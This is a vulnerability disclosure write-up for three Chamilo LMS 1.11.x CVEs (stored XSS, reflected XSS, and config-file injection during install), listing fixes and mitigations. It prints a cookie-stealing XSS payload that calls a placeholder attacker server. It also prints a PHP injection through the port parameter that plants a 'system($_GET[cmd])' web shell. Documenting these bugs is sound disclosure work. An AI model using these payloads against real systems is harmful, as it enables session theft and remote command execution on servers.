Chamilo-lms-1.11.x - From XSS to account takeover && backdoor implantation

Set of vulnerabilities found on the Chamilo-lms-1.11.x version.

CVE-2021-37391 - From Stored XSS to account takeover

> **Title:** From Stored XSS to account takeover
> **Vulnerability:** Stored XSS
> **CVE ID:** CVE-2021-37391
> **CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

A user without privileges in Chamilo LMS 1.11.x can send an invitation message to another user, e.g., the administrator, through **main/social/search.php, main/inc/lib/social.lib.php** and steal cookies or execute arbitrary code on the administration side via a stored XSS vulnerability via social network the send invitation feature.

Proof-of-Concept

A guest user without privileges on the Chamilo LMS could send an invitation with a malicious message that could put at risk the administrator's privacy. Basically, it was possible to take advantage of a stored XSS vulnerability and stole the authentication token of another user - in this case, the administrator. This scenario could be abused to get access over the administrator account (takeover).

After that, click on "**Send message**" button.

On the admin side, the payload is executed by opening the invitations panel on the left menu.

By using a custom payload, it was possible to get the administrator's cookie and clone their session.

```
<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
```

Impact: By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

Mitigation: Update the Chamilo to the latest version.

Fix: https://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8

ExploitDB: https://www.exploit-db.com/exploits/50694

CVE-2021-37390 - Reflected XSS search mechanism

> **Title:** Reflected XSS search mechanism
> **Vulnerability:** Reflected XSS
> **CVE ID:** CVE-2021-37390
> **CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

A Chamilo LMS 1.11.14 reflected XSS vulnerability exists in **main/social/search.php=q** URI (social network search feature).

Impact: By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator to create an account with admin privileges with an HTTP 302 redirect.

Mitigation: Update the Chamilo to the latest version.

Fix: https://github.com/chamilo/chamilo-lms/commit/3fcc751d5cc7da311532a8756fba5a8778f50ca0

CVE-2021-37389 - From Stored XSS to PHP backdoor implantation

> **Title:** From Stored XSS to PHP backdoor implantation
> **Vulnerability:** Stored XSS
> **CVE ID:** CVE-2021-37389
> **CVSS**: Medium - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H

Chamilo 1.11.14 allows stored XSS via **main/install/index.php** and **main/install/ajax.php** through the **port parameter**.

As expected, the sent **payload will be stored on the config.php** file on the web-server. As this parameter was not validated in the right way, it could be abused to implant a PHP backdoor on the web-server by using the port parameter to inject the malicious payload presented below.

Target payload:

```
3306';echo system($_GET["cmd"]);
```

> The values will be written into your configuration file **app/config/configuration.php**

We got it

```
http://localhost/chamilo/app/config/configuration.php?cmd=id
```

BONUS: Another XSS's

During the installation process, a lot of fields are also vulnerable to stored XSS, namely:

- **Administrator login**
- **Administrator first name**
- **Administrator last name**
- **Administrator email**
- **Your personal name; and**
- **Your company short name**

As a result, the payloads are stored in the database and reflected on the website.

Impact: By using this vulnerability, an unprivileged user can steal cookies from an admin account or forcing the administrator In addition, the port parameter can be also used to implant a PHP backdoor on the web-server.

Mitigation: Update the Chamilo to the latest version.

Fix: https://github.com/chamilo/chamilo-lms/commit/dfae49f5dc392c00cd43badcb3043db3a646ff0c

Security issues - Chamilo LMS - Chamilo Tracking System

←
Previous
CHIYU IoT devices

Next
CVE - Submission Guides
→